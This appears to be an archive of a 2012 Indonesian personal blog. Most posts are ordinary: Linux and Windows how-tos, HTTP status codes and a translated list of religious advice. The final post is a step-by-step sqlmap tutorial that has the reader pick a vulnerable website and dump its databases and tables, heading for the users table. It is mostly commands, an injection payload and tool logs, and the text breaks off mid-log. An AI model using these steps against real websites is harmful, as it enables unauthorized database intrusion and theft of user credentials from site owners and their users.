Jumat, 18 Mei 2012

Install Wine 1.5.4 di Ubuntu/Mint

wine fungsinya untuk membuka file .exe di linux agar dapat berjalan aplikasi tersebut harus install wine(linux)

Buka terminal :
  • sudo add-apt-repository ppa:ubuntu-wine/ppa
  • sudo apt-get update
  • sudo apt-get install wine1.5
Ok selesai , sekian tutorial singkatnya terimakasih

Read more »

Jumat, 27 April 2012

73 Wasiat untuk pemuda muslim

Alhamdulilah bisa nulis lagi dalam kesibukan hehe ini sedikit dari teman saya tentang 73 Wasiat untuk pemuda muslim silahkan dibaca

1. Ikhlaskanlah niat kepada Allah dan hati-hatilah dari riya', baik dalam perkataan
ataupun perbuatan.
2. Ikutilah sunnah Nabi dalam semua perkataan, perbuatan, dan akhlaq.
3. Bertaqwalah kepada Allah dan ber-azam-lah untuk melaksanakan semua perintah
dan menjauhi larangan-Nya.
4. Bertaubatlah kepada Allah dengan taubatan nashuha dan perbanyaklah istighfar.
5. Ingatlah bahwa Allah senantiasa mengawasi gerak-gerikmu. Dan ketahuilah
bahwa Allah melihatmu, mendengarmu, dan mengetahui apa yang terbesit di
hatimu.
6. Berimanlah kepada Allah, malaikat-Nya, kitab-kitab-Nya, rasul-rasul-Nya, dan hari
akhir serta qadar yang baik ataupun yang buruk.
7. Janganlah engkau taqlid (mengekor) kepada orang lain dengan buta (tanpa
memilih dan memilah mana baik dan mana yang buruk serta mana yang sesuai
dengan sunnah / syari'at dan mana yang tidak). Dan janganlah engkau termasuk
orang-orang yang tidak punya pendirian.
8. Jadilah engkau sebagai orang pertama dalam mengamalkan kebaikan karena
engkau akan mendapatkan pahalanya dan pahala orang yang mengikuti /
mencontohmu dalam mengamalkannya.
9. Peganglah kitab Riyadhush Shalihin, bacalah olehmu dan bacakan pula kepada
keluargamu [/orang lain] (demikian juga kitab Zaadul Ma'ad oleh Ibnul Qoyyim).
10. Jagalah selalu wudhumu dan perbaharuilah. Dan jadilah engkau senantiasa dalam
keadaan suci dari hadats dan najis.
11. Jagalah selalu shalat di awal waktu dan berjamaah di masijid, terlebih lagi shalat
"Isya dan Fajr (Shubuh).
12. Janganlah memakan makanan yang mempunyai bau yang tidak enak/sedap,
seperti bawang putih dan bawang merah [termasuk juga petai dan jengkol]. Dan
janganlah merokok agar tidak membahayakan dirimu dan kaum muslimin lainnya.
13. Jagalah selalu shalat berjamaah agar engkau mendapat kemenangan dengan
pahala yang ada pada shalat berjamaah tersebut.
14. Tunaikanlah zakat yang telah diwajibkan dan janganlah engkau bakhil kepada
orang-orang yang berhak menerimanya.
15. Bersegeralah berangkat untuk shalat Jum'at dan janganlah berlambat-lambat
sampai setelah adzan kedua karena engkau akan berdosa.

16. Puasalah di bulan Ramadhan dengan penuh keimanan dan mengharap pahala
dari Allah agar Allah mengampuni dosa-dosamu, baik yang telah lalu maupun
yang akan datang. [Lengkapilah pula dengan puasa-puasa sunnah yang telah
dituntunkan oleh Rasulullah saw].
17. Hati-hatilah dari berbuka di siang hari di bulan Ramadhan tanpa udzur syar'i
sebab engkau akan berdosa karenanya.
18. Tegakkanlah shalat malam di bulan Ramadhan (shalat tarawih) dengan penuh
keimanan dan mengharap pahala dari Allah agar engkau mendapatkan ampunan
atas dosa-dosamu yanng telah lalu. [Pertahankan pada bulan-bulan berikutnya].
19. Bersegeralah untuk haji dan umrah ke Baitullah Al-Haram jika engkau termasuk
orang yang mampu dan janganlah menunda-nunda.
20. Bacalah Al-Qur'an dengan mentadabburi maknanya. Laksanakanlah perintahnya
dan jauhi larangannya agar Al-Qur'an itu menjadi hujjah bagimu di sisi Rabbmu
dan menjadi penolongmu di Hari Qiyamat.
21. Senantiasalah memperbanyak dzikir kepada Allah, baik dalam keadaan berdiri,
duduk, ataupun berdiri. Dan hati-hatilah engkau dari kelalaian.
22. Hadirilah majelis-majelis dzikir, karena majelis dzikir termasuk taman syurga.
23. Tundukkan pandanganmu dari aurat dan hal-hal yang diharamkan. Hati-hatilah
engkau dari mengumbar pandangan, karena pandangan itu merupakan anak
panah beracun dari anak panah Iblis.
24. Janganlah engkau panjangkan pakaianmu melebihi mata kaki (untuk kaum lakilaki)
dan janganlah engkau berjalan dengan kesombongan/keangkuhan.
25. Janganlah engkau memakai pakaian sutra dan emas, karena keduanya
diharamkan untuk laki-laki.
26. Janganlah engkau menyerupai wanita dan janganlah engkau biarkan wanitawanita
menyerupai laki-laki.
27. Biarkanlah jenggotmu, karena Rasulullah bersabda, "Cukurlah kumis dan
panjangkan jenggot" (HR. Bukhari dan Muslim).
28. Janganlah engkau makan, minum [dan berpakaian] kecuali yang halal agar
do'amu di-ijabah.
29. Ucapkanlah basmallah ketika engkau hendak makan/minum dan ucapkanlah
hamdallah apabila engkau telah selesai.
30. Makanlah, minumlah, ambillah dan berilah dengan tangan kanan.
31. Hati-hatilah dari berbuat kezhaliman karena kezhaliman itu merupakan kegelapan
di Hari Qiyamat.
32. Janganlah engkau bergaul kecuali dengan orang mukmin dan janganlah dia
memakan makananmu kecuali engkau dalam keadaan bertaqwa (dengan ridha
dan menyuguhkan makanan yang halal untuknya).
33. Hati-hatilah dari suap-menyuap (kolusi), baik itu memberi suap, menerima suap
ataupun menjadi perantaranya, karena pelakunya terlaknat.
34. Janganlah engkau menukar keridhaan manusia dengan kemurkaan Allah, karena
Allah akan murka kepadamu.
35. Taatilah ulil amri (pemerintah) dalam semua perintah yang sesuai dengan syari'at
dan do'akan kebaikan untuk mereka.
36. Hati-hatilah dari bersaksi palsu dan menyembunyikan persaksian. "Barangsiapa
menyembunyikan persaksiannya, maka hatinya berdosa. Dan Allah
Maha Mengetahui apa yang kalian kerjakan" (QS. Al-Baqarah: 283).
37. Ajaklah manusia kepada yang ma'ruf (apa-apa yang diperintahkan oleh Allah dan
Rasul-Nya) dan jauhi kemungkaran (apa-apa yang dilarang oleh Allah dan Rosul-Nya). "Dan beramar ma'ruf nahi munkarlah seerta sabarlah terhadap
apa yang menimpamu" (QS. Luqman : 17).
38. Tinggalkanlah semua hal yang diharamkan, baik yang kecil maupun yang besar.
Janganlah engkau bermaksiyat kepada Allah dan janganlah engkau membantu
seorang pun dalam bermaksiyat kepada-Nya.
39. Janganlah engkau dekati zina. Allah berf irman, "Janganlah kalian mendekati
zina. Sesungguhnya zina itu adalah perbuatan keji dan seburukburuknya
jalan" (QS. Al-Israa: 32).
40. Wajib bagimu berbakti kepada orang tua dan hati-hatilah dari mendurhakainya.
41. Wajib bagimu untuk silaturahmi dan hati-hatilah dari memutuskan hubungan
silaturahmi.
42. Berbuat baiklah kepada tetanggamu dan janganlah menyakitinya. Dan apabila dia
menyakitimu, maka bersabarlah.
43. Perbanyaklah mengunjungi orang-orang shalih dan saudaramu di jalan Allah.
44. Cintalah karena Allah dan bencilah juga karena Allah, karena hal itu merupakan
tali keimanan yang paling kuat.
45. Wajib bagimu untuk duduk bermajelis dengan orang shalih dan hati-hatilah dari
bermajelis dengan orang-orang yang jelek.
46. Bersegeralah untuk memenuhi hajat (kebutuhan) kaum muslimin dan buatlah
mereka bahagia.
47. Berhiaslah dengan kelemah-lembutan, sabar dan teliti. Hati-hatilah dari sifat
keras, kasar dan tergesa-gesa.
48. Janganlah memotong pembicaraan orang lain dan jadilah engkau pendengar
yang baik.
49. Sebarkanlah salam kepada orang yang engkau kenal ataupun tidak engkau kenal.
50. Ucapkanlah salam yang disunnahkan, yaitu "assalamu'alaikum" dan tidak cukup
hanya dengan isyarat telapak tangan atau kepala saja.
51. Janganlah mencela seorang pun dan mensifatinya dengan kejelekan.
52. Janganlah melaknat seorang pun, termasuk hewan atau benda mati.
53. Hati-hatilah dari menuduh dan mencoreng kehormatan orang lain, karena hal itu
termasuk dosa yang besar.
54. Hati-hatilah dari namimah (mengadu domba), yakni menyampaikan perkataan di
antara manusia dengan maksud agar terjadi kerusakan di antara mereka.
55. Hati-hatilah dengan ghibah, yakni engkau menceritakan tentang saudaramu apaapa
yang dia benci jika mengetahuinya.
56. Janganlah engkau mengagetkan, menakuti dan menyakiti sesama muslim.
57. Wajib bagimu melakukan ishlah (perdamaian) di antara manusia, karena hal itu
merupakan amalan yang utama.
58. Katakanlah hal-hal yang baik, jika tidak maka diamlah.
59. Jadilah engkau orang yang jujur dan janganlah berdusta, karena dusta akan
mengantarkan kepada dosa dan dosa mengantarkan kepada neraka.
60. Janganlah engkau bermuka dua. Datang kepada sekelompok orang dengan satu
wajah dan data kepada kelompok lain dengan wajah yang berbeda.
61. Janganlah bersumpah dengan selain Allah dan janganlah banyak bersumpah
meskipun engkau benar.
62. Janganlah menghina orang lain, karena tidak ada keutamaan atas seorang pun
kecuali dengan taqwa.
63. Janganlah mendatangi dukun, ahli nujum serta tukang sihir dan janganlah
membenarkan [perkataan/ramalan] mereka.

64. Janganlah menggambar gambar manusia dan binatang [makhluk bernyawa].
Sesungguhnya manusia yang paling keras adzabnya pada Hari Qiyamat adalah
tukang gambar.
65. Janganlah menyimpan [memajang] gambar makhluk bernyawa di rumahmu
karena akan menghalangi malaikat untuk masuk ke rumahmu.
66. Tasymit-kanlah orang yang bersin dengan mengucap, "yarhamukallah" apabila
dia mengucapkan , "alhamdulillah".
67. Jauhilah bersiul dan tepuk tangan.
68. Bersegeralah untuk bertaubat dari segala dosa dan ikutilah kejelekan dengan
kebaikan karena akan menghapuskannya. Hati-hatilah dari menunda-nunda.
69. Berharaplah selalu akan ampunan Allah serta rahmat-Nya dan berbaik sangkalah
kepada Allah.
70. Takutlah kepada adzab Allah dan janganlah merasa aman darinya.
71. Bersabarlah dari segala musibah yang menimpa dan bersyukurlah dengan segala
kenikmatan yang ada.
72. Perbanyaklah melakukan amal shalih yang pahalanya terus mengalir meskipun
engkau telah mati, seperti membangun masjid dan menyebarkan ilmu.
73. Mohonlah syurga kepada Allah dan berlindunglah dari neraka.
74. Perbanyaklah mengucapkan shalawat dan salam kepada Rasulullah. Shalawat dan
salam senantiasa Allah curahkan kepadanya, keluarganya dan para shahabatnya
hingga Hari Qiyamat.

(Disarikan dan diterjemahkan dari buletin berjudul 74 Washiyyah li Asy-Syabab
terbitan Daarul Qashim, Riyadh - Kerajaan Arab Saudi)


Read more »

Minggu, 15 April 2012

Install GDM di Backtrack Gnome

ini bagi yang malas dengan mode text yang pakai command startx sebelum masuk desktop backtrack
oh ya saya pakai backtrack 5  versi gnome

1. install dulu nstall synaptic dengan terminal sudo apt-get install synaptic

2. install pket GDM >>di synaptic seacrh gnome-system-tools kalo udah mark all aja tu or cekntang gnome-system-tools aja... hehhe

3. Buka login screen dengan cara >>> menu System -->> Administration -->> login screen

4. pilih adduser >>> nah ntr ini dah prom Creat New User

5 . oke, skarang kita udah punya user baru, atur user tersebut agar memiliki hak akses administratif dengan memasukkannya ke dalam group "sudo". Pilih user yang dikehendaki lalu tekan tombol "Manage Groups". Pada jendela "Groups settings" cari group bernama"sudo" lalu tekan tombol "Properties". Pada jendela "Group 'sudo' Properties" centang nama user untuk memasukkan user yang Anda inginkan ke dalam "Group Members" sudo, tekan "OK" lalau tutup semua jendela pengaturan user dan group...

6. buka terminal --> ketik gedit /etc/rc.local klo udah Sisipkan baris perintah "service gdm start" tepat di atas baris "exit 0"

service gdm start
exit 0

lalu save

Untuk ganti background GDM nya masuk ke /usr/share/wallpapers < lalu set wallpapernya

Semoga Berguna

Read more »

Perintah CMD Untuk Jaringan Komputer

Cara membuka cmd/command and prompt
Klik Start -> Run -> cmd (enter)
atau Klik Start ->accessories > command prompt













1. ipconfig /all
Menampilkan informasi konfigurasi koneksi, misalnya Host Name, Primary DNS Type, Ethernet Adapter LAN.

2. ipconfig /flushdns
Menghapus DNS Cache

3. ipconfig /release
“Menghapus” semua koneksi IP Address.

4. ipconfig /renew
Membuat IP Address baru untuk adapter tertentu.

5. ipconfig /displaydns
Menampilkan DNS Cache.

6. ipconfig /registerdns
Melakukan refresh DNS dan meregister kembali koneksi DNS.

7. ipconfig /showclassid
Menampilkan informasi DHCP Class.

8. ipconfig /setclassid
Mengubah DHCP Class ID

9. control netconnections
Menampilkan Network Connection.

10. nslookup
Mengetahui alamat ip address dari nama domain yang di tuliskan

11. netstat
Menampilkan informasi koneksi TCP/IP yang sedang aktif.

12. route
Menampilkan local route.
 
13. hostname
Menampilkan nama komputer.

14. ping
Contoh: ping www.kamtiez.web.id
Melakukan test koneksi ke situs www.finderonly.com.
Semakin sedikit % loss-nya maka semakin baik koneksinya.

15. tracert
Menampilkan informasi IP Address route.

Thanks Kak ArS 

Read more »

Mengaktifkan fungsi Task Manager karena hilang/disabled

Mungkin anda pernah komputer/laptop anda seperti ini task manager tidak bisa dibuka ataupun tekan CTRL+ALT+DEL gak bisa  ini dia solusinya:

Method 1 :

Click Start, Run dan isi dengan :
REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f

Method 2 :

Download and run this REG fix and double-click it.
http://windowsxp.mvps.org/reg/EnableTM.reg

Method 3 :

    Click Start, Run and type Regedit.exe
    Cari seperti dibawah ini :

     HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies\ System

    di panel kanan, delete nilai yang bernama DisableTaskMgr
    Close Regedit.exe

Method 4: 
   Gunakan Group Policy Editor - for Windows XP Professional
   Click Start, Run, ketik gpedit.msc dan click OK.

   Cari : User Configuration / Administrative Templates / System / Ctrl+Alt+Delete Options / Remove Task Manager

    Double-click pilihanRemove Task Manager   
    Set the policy ke Not Configured.

Sekian terimakasih

Read more »

Sabtu, 31 Maret 2012

HTTP Status Code

apa itu HTTP? HTTP adalah kepanjangan dari HypertText Transfer Protokol


Mungkin and pernah mengunjungi sebuah situs tapi error 404 atau kode lainnya berikut pembahasannya: 



Beberapa kode status ini sering ditemui ketika kita surfing internet. List di bawah, merupakan list standard HTTP/1.1
Ada 5 klasifikasi kode status, yang dimulai dari angka 1 - 5.
Kode dimulai dengan angka satu (1XX) bersifat informatif.
Kode dimulai dengan angka dua (2XX) mengindikasikan bahwa aksi yang di request oleh client sudah diterima, dimengerti dan di proses dengan sukses.
Kode dimulai dengan angka tiga (3XX) menghandle semua masalah Redirect
Kode dimulai dengan angka 4 (4XX) menghandle status error di Client
Kode dimulai dengan angka 5 (5XX) menghandle status error di Server

1XX

100 Continue
Kode ini menunjukan bahwa server telah menerima request header yang dikirim, sehingga client dapat mengirimkan request body (contoh request POST atau GET). 
Masih bingung? jika iya, mari kita liat bersama sama contoh casenya.
Client ingin melakukan upload file sebesar 1GB. Untuk itu, sebelum megirimkan file ke server, kita dapat melakukan cross check pada sisi server, apakah server dapat menerima file sebesar itu. Header yang kita kirim untuk hal ini tentunya adalah "Expect: 100-continue". Jika memang server dapat menerima file sebesar itu, server akan memberikan kode status 100 continue, yang artinya OK dari sisi server. Selanjutnya, client dapat mengirimkan file "asli" sebesar 1GB-nya ke server melalui Request Body POST atau GET. Jika server tidak bisa menerima, server akan mengembalikan response status 413 (Request Entity Too Large). Di sini kita bisa melihat berapa sumber daya yang dapat kita hemat jika memang server tidak dapat menerima file dengan ukurang tertentu, kita tidak perlu mengirimkan file tersebut ke server.
101 Switching Protocols
Ini berarti client meminta server untuk mengganti protokol, dan server menyetujui untuk mengganti protokol.
102 Processing
Response ini mengindikasikan ke client jika request yang dikirim ternyata memerlukan waktu yang lama. Dengan dikirimnya kode ini, berarti server telah menerima request tetapi masih belum ada response yang tersedia karena request masih di proses. Jadi client dapat menghindari time out yang bakal di akibatkan dan client tahu bahwa paket request yang dikirim tidak hilang pada waktu dikirim melainkan response belum di kirim oleh server.


2XX

200 OK
Response standard yang menyatakan bahwa request HTTP berhasil (OK).
201 Created
Request telah selesai diproses dan suatu bentuk baru juga telah berhasil diciptakan. Jika hal tersebut yang terjadi, maka server harus memberikan kode response 201 disertai "Location Header" page baru yang berhasil di ciptakan. Ada yang masih bingung untuk 201? mari kita diskusi di comment.
202 Accepted
Request telah diterima untuk di proses, tetapi proses tersebut belum selesai. Hal ini berguna ketika kita akan memproses request yang bisa jalan pararel. Ketika kita menerima code 202, kita dapat mengirim request baru ke server sehingga banyak request yang dapat di jalankan server tanpa perlu menunggu request-request tersebut selesai.
203 Non-Authorative Information
Response code 203 mengindikasikan bahwa request telah diterima dan dipahami. Kode response ini dikirim oleh server lain sehingga server tidak tau secara pasti bahwa apakah benar request telah sukses atau belum sukses karena kode response berasal dari server lain.
204 No Content
Request telah diterima dan dimengerti oleh server, tetapi tidak ada informasi yang dapat di tampilkan ke client. Alias Blank Page :)
Ketika kita mengembalikan kode response 204, pastikan tidak ada response data yang dibalikkan ke client. Dengan kata lain selalu mengembalikan baris kosong tepat setelah header field.
205 Reset Content
Server telah selesai melakukan proses dari request dan user agent harus melakukan reset terhadap semua field pada form. Response ini tidak mengembalikan data apapun. Tidak sama dengan kode 204, kode response ini digunakan untuk mempermudah user untuk melakukan request selanjutnya karena setelah request selesai di proses, field-field form sudah dikosongkan untuk submit informasi yang berbeda oleh user agent. Response ini sering digunakan pada backend ketika banyak form-form dilibatkan.
206 Partial Content
Server telah selesai memproses sebagian request GET. Request ini harus menyertakan Header Rangeataupun If-Range (request range dengan kondisi) yang mengindikasikan bagian mana yang akan di request. Biasanya Header Range ini digukana oleh tools seperti wget (request data pada linux/unix) yang dapat me-resume download yang berhenti, atau memotong 1 download menjadi beberapa bagian untuk streaming secara simultan. Ingat Download manager? Mereka menggunakan request tersebut.
Beberapa contoh download manager: 

3XX

300 Multiple Choices
Kode status ini mengindikasikan bahwa halaman yang direquest tidak dapat lagi di akses dan sudah di pindahkan ketempat yang baru. Kemudian, server akan menyertakan list lokasi baru dimana user agent dapat memilih langsung salah satu lokasi yang paling relevan menurut user agen tersebut. User angentidentik dengan browser.
301 Moved Permanently
Response dengan kode ini menunjukan bahwa informasi yang dipanggil sudah dipindahkan secara permanen ketempat yang baru oleh karena itu response server harus menyertakan link yang baru. Dianjurkan semua link static yang menuju ke halaman lama haruslah sebisa mungkin di ganti. Menilik masalah search engine, jika kita mengembalikan kode status ini, url yang akan di cache adalah url yang baru. Search engine akan menghapus link lama diganti dengan link yang baru.
302 Found
Sebuah status kode yang memberitahukan kepada client bahwa halaman website yang mereka kunjungi untuk sementara pindah ke lokasi yang baru tetapi dalam waktu yang tidak berapa lama, halaman website lama dapat di akses kembali. Response dari server juga harus menyertakan url yang baru.
Semua search engine mengenali kode response ini, mereka akan tetap terus mengecek link yang lama sebagai referensi halaman website yang akan mereka cache pada server.
303 See Other
Kode status ini mengindikasikan bahwa respon dari request client dapat ditemukan pada URL yang sudah di tentukan. Ini tidak berarti halaman yang diakses telah dipindahkan, tetapi halaman tersebut memang hanya menyediakan alamat URL yang dapat di tampilkan ke client.
304 Not Modified
Kode 304 sangat berhubungan erat dengan cache pada client. Status ini di kirimkan oleh server jika informasi yang disimpan pada sisi client sama dengan informasi yang ada pada sisi server "Not Modified". Response ini tidak menyertakan informasi lain kecuali tanggal infomasi/data sehingga setelah respon header tidak ada infomasi lain yang disertakan.
305 Use Proxy
Kode ini menyatakan bahwa client yang akan mengakses halaman tersebut harus menggunakan proxy yang akan disertakan dalam respon header.
306 (Unused)
Kode ini untuk semantara di reserve untuk penggunaan selanjutnya.
307 Temporary Redirect
Kode ini identik dengan kode 302. Teman teman bisa menggunakan kedua respon kode ini untuk hal yang sama. Perbedaannya 307 tidak kompatibel dengan HTTP/1.0.

4XX

400 Bad Request
Karena syntax yang tidak dipahami oleh server, maka server mengembalikan kode status 400. Client tidak diperkenankan untuk mengirimkan request ulang ke server tanpa memperbaiki syntax.
401 Unauthorized Request dari user memerlukan otentifikasi. Ketika user mengisikan pasword yang tidak sesuai dengan yang dikenal server, maka server akan mengembalikan staus code tersebut.
402 Payment Required
Kode status ini di reserve dan masih belum di gunakan sekarang.
403 Forbidden
Kode status ini mengindikasikan bahwa halaman yang direquest oleh user merupakan halaman yang dilarang. Ada beberapa penyebab hal ini bisa terjadi, yang popular diantaranya:
User mengakses program yang dapat di eksekusi langsung (CGI misalnya) pada directory yang  terlarang. Bisa jadi karena tidak memenuhi hak akses.
User mencoba untuk mengakses sebuah directory tetapi directory tersebut relarang.
Mengakses halaman https hanya dengan http.
IP address user tidak terdapat dalam list server, dengan kata lain IP ditolak.
Terlalu banyak user yang terkoneksi ke server. Atau dengan kata lain limit user telah mencapai batas.
404 Not Found
Ini adalah response yang paling bayak kita temui. Coba akses sembarang url dari sebuat website, anda akan mengerti sendiri. :)
405 Method Not Allowed
Kode 405 mengindikasikan bahwa client mencoba mengirimkan method yang tidak dikenali oleh server. Method yang dikenali umumnya adalah POST dan GET.
406 Not Acceptable
Error Kode ini mengindikasikan bahwa response yang dikirim oleh server tidak dapat dimengerti oleh user agen/client. Biasanya client mengirimkan request menyertakan list dari 'accept header' atau tipe data apa aja yang dapat dimengerti oleh client. Dengan dikirimkannya kode error ini, berarti tipe data request oleh server tidak terdapat dalam list, sehingga kemungkinan tidak dapat di baca oleh client.
407 Proxy Authentication Required
Hampir sama dengan kode error 401, kode error ini berarti bahwa client harus melakukan verifikasi terlebih dahulu menggunakan proxy.
408 Request Timeout
Server mencapai timeout limit menunggu request client yang terlalu lama. Bukan karena prosesnya yang terlalu lama, tetapi lebih di karenakan request yang di harapkan tidak diterima sampai batas waktu yang ditentukan.
409 Conflict
Mengindikasikan bahwa request tidak dapat di proses. Sering terjadi data yang akan diproses bentrok dengan data yang sudah ada pada server.
410 Gone
Hampir sama dengan kode error 404, kode error ini mengindikasikan bahwa halaman website yang diakses tidak tersedia secara permanent. Jika kita alamat URL ini tidak akan dipakai bahkan dimasa yang akan datang, bisa menggunakan kode error ini, apabila kita tidak pasti, disarankan menggunakan kode error 410.
411 Length Required
Server mengharuskan user menyertakan besar size dari content. Apabila client tidak menyertakannya, server akan mengembalikan error ini.
412 Precondition Failed
Server tidak menemukan syarat-syarat yang disertakan request client.
413 Request Entity Too Large Request lebih besar dari batas limit size yang diperbolehkan oleh server.
414 Request-URI Too Long
URI yang di panggil oleh client terlalu panjang. :)
415 Unsupported Media Type
Tipe media yang di request oleh client tidak dikenali oleh server
416 Requested Range Not Satisfiable
Client merequest sebagian bagian dari file, tetapi server tidak dapat menyediakan bagian tersebut. Ilustrasinya, client merequest dokumen dengan line 1 - 10, tetapi server tidak dapat meresponse request dari client.
417 Expectation Failed
Server mengindikasikan bahwa request header dari client tidak memenuhi syarat minimal untuk di baca oleh server (Expect request-header).

5XX

500 Internal Server Error
Kode ini umumnya dikirim oleh para programmer Perl yang mengindikasikan bahwa server mengalami masalah dan tidak dapat memproses request yang diminta client.
501 Not Implemented
Kode error ini muncul karena server tidak dapat memenuhi syarat minimum diperlukan untuk sebuar request diproses
502 Bad Gateway
Error ini mengindikasikan bahwa server, biasanya merupakan proxy server,  tidak menerima response yang valid dari upstream server. Upstream server adalah server yang memberikan service tertentu kepada server lain.
503 Service Unavailable
Server untuk sementara waktu tidak tersedia (untuk sementara), biasanya ketika server sedang dalam keadaan maintenance atau sedang down.
504 Gateway Timeout
Server, biasanya merupakan proxy server, tidak menerima response dari upstream server dalam kurum waktu yang sudah di tentukan. Upstream server adalah server yang memberikan service tertentu kepada server lain.
505 HTTP Version Not Supported
Server tidak dapat membaca versi dari protokol HTTP yang di request oleh client.




Read more »

Rabu, 21 Maret 2012

SQL Map In Windows

 Hallo saya hanya ingin berbagi ilmu saja SQL Map di Windows ini saya pake Win7 itu themanya di SS classic jadi seperti XP,, hehehe
Ok langsung saja Download dahulu alat perangnya:
-SQL Map 0.0.9
-Pyhton 2.7


Install pythonnya
extract SQLmapnya(misalkan saya extrack di C:\sqlmap )

Pertama Siapkan website yang vuln
sekarang kita buka cmd (command and prompt)
Klik Start ->All Programs -> Accessories-> Command and prompt
atau WIN-Key + R ketik cmd  (Start -> Run ->ketik  CMD  enter)

sekarang kita menuju direktory dimana tempat folder sqlmap berada
pertama kita ketik perintah cd\  [enter]
maka kita akan drive C
lalu menuju folder sqlmap dengan cara ketik
cd sqlmap [enter]
maka akan ke C:\sqlmap>

Ok kita mulai
ketik perintah yang berwarna merah setelah menuju folder sqlmap berada folder sqlmap saya di drive C:\sqlmap
______________
sqlmap.py -u http://www.targetnmu.co.id/product.php?kat1=3 --dbs
yang berwarna biru diganti web vuln kamu
lihat gambar ini:




setelah di enter maka script sqlmap akan bekerja untuk mencari nama databasenya
Berikut Log Lengkap cmd nya

C:\sqlmap>sqlmap.py -u http://www.targetmu.co.id/product.php?kat1=3 --dbs

    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 19:40:56

[19:40:57] [INFO] using 'C:\sqlmap\output\www.targetmu.co.id\session' as sessio
n file
[19:40:57] [INFO] testing connection to the target url
[19:41:04] [INFO] testing if the url is stable, wait a few seconds
[19:41:09] [INFO] url is stable
[19:41:09] [INFO] testing if GET parameter 'kat1' is dynamic
[19:41:12] [INFO] confirming that GET parameter 'kat1' is dynamic
[19:41:15] [INFO] GET parameter 'kat1' is dynamic
[19:41:18] [INFO] heuristic test shows that GET parameter 'kat1' might be inject
able (possible DBMS: MySQL)
[19:41:18] [INFO] testing sql injection on GET parameter 'kat1'
[19:41:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:41:50] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[19:42:18] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[19:42:45] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
parsed error message(s) showed that the back-end DBMS could be MySQL. Do you wan
t to skip test payloads specific for other DBMSes? [Y/n] y
[19:43:30] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[19:45:12] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
 going to retry the request
[19:45:38] [INFO] target url appears to be UNION injectable with 2 columns
[19:45:47] [INFO] GET parameter 'kat1' is 'MySQL UNION query (NULL) - 1 to 10 co
lumns' injectable
GET parameter 'kat1' is vulnerable. Do you want to keep testing the others? [y/N
] n
sqlmap identified the following injection points with a total of 42 HTTP(s) requ
ests:
---
Place: GET
Parameter: kat1
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: kat1=3 UNION ALL SELECT CONCAT(CHAR(58,122,104,120,58),CHAR(82,70,1
13,82,104,106,74,65,116,103),CHAR(58,106,113,113,58)), NULL#
---

[19:45:53] [INFO] testing MySQL
[19:45:59] [INFO] confirming MySQL
[19:46:12] [INFO] the back-end DBMS is MySQL

web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
[19:46:12] [INFO] fetching database names
available databases [2]:
[*] green_datadedaunan
[*] information_schema

[19:46:16] [INFO] Fetched data logged to text files under 'C:\sqlmap\output\www.
targetmu.co.id'

[*] shutting down at: 19:46:16


Lihat yang warna merah itu adalah database web

Lalu kita lihat isi tablenya dengan mengetik

sqlmap.py -u http://www.targetkamu.co.id/product.php?kat1=3 -D green_datadedaunan --tables [enter]


yang warna merah diganti web targetnya terus  warna hijau database nya diganti database yng muncul 
fungsi :
-D = database

--tables=untuk mendapat tables dari db

Log CMD nya

C:\sqlmap>sqlmap.py -u http://www.targetkamu.co.id/product.php?kat1=3 -D green_da
tadedaunan --tables

    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 19:46:35

[19:46:35] [INFO] using 'C:\sqlmap\output\www.targetjlaco.id\session' as sessio
n file
[19:46:35] [INFO] resuming injection data from session file
[19:46:35] [INFO] resuming back-end DBMS 'mysql 5' from session file
[19:46:35] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: kat1
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: kat1=3 UNION ALL SELECT CONCAT(CHAR(58,122,104,120,58),CHAR(82,70,1
13,82,104,106,74,65,116,103),CHAR(58,106,113,113,58)), NULL#
---

[19:46:42] [INFO] the back-end DBMS is MySQL

web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5
[19:46:42] [INFO] fetching tables for database 'green_datadedaunan'
Database: green_datadedaunan
[6 tables]
+--------------+
| green_kat1   |
| green_kat2   |
| green_news   |
| green_page   |
| green_produk |
| green_user   |
+--------------+

[19:46:48] [INFO] Fetched data logged to text files under 'C:\sqlmap\output\www.
targetkamu.co.id'

[*] shutting down at: 19:46:48

eh muncul juga table dalam databasenya

+--------------+
| green_kat1   |
| green_kat2   |
| green_news   |
| green_page   |
| green_produk |
| green_user   |
+--------------+

kita lihat dari table tersebut kira2 user dimana? mungkin di green_user :)
ayo kita check dengan perintah ini
sqlmap.py -u http://www.targetkamu.co.id/product.php?kat1=3 -D green_datadedaunan -T green_users --columns [ENter]
-T = nama table
--columns=melihat columns di table



Log CMD

C:\sqlmap>sqlmap.py -u http://www.targetkamu.co.id/product.php?kat1=3 -D green_da
tadedaunan -T green_user --columns


    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net


[*] starting at: 19:47:03


[19:47:04] [INFO] using 'C:\sqlmap\output\www.targe.co.id\session' as sessio
n file
[19:47:04] [INFO] resuming injection data from session file
[19:47:04] [INFO] resuming back-end DBMS 'mysql 5' from session file
[19:47:04] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: kat1
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: kat1=3 UNION ALL SELECT CONCAT(CHAR(58,122,104,120,58),CHAR(82,70,1
13,82,104,106,74,65,116,103),CHAR(58,106,113,113,58)), NULL#
---


[19:47:10] [INFO] the back-end DBMS is MySQL


web application technology: Apache, PHP 5.2.17
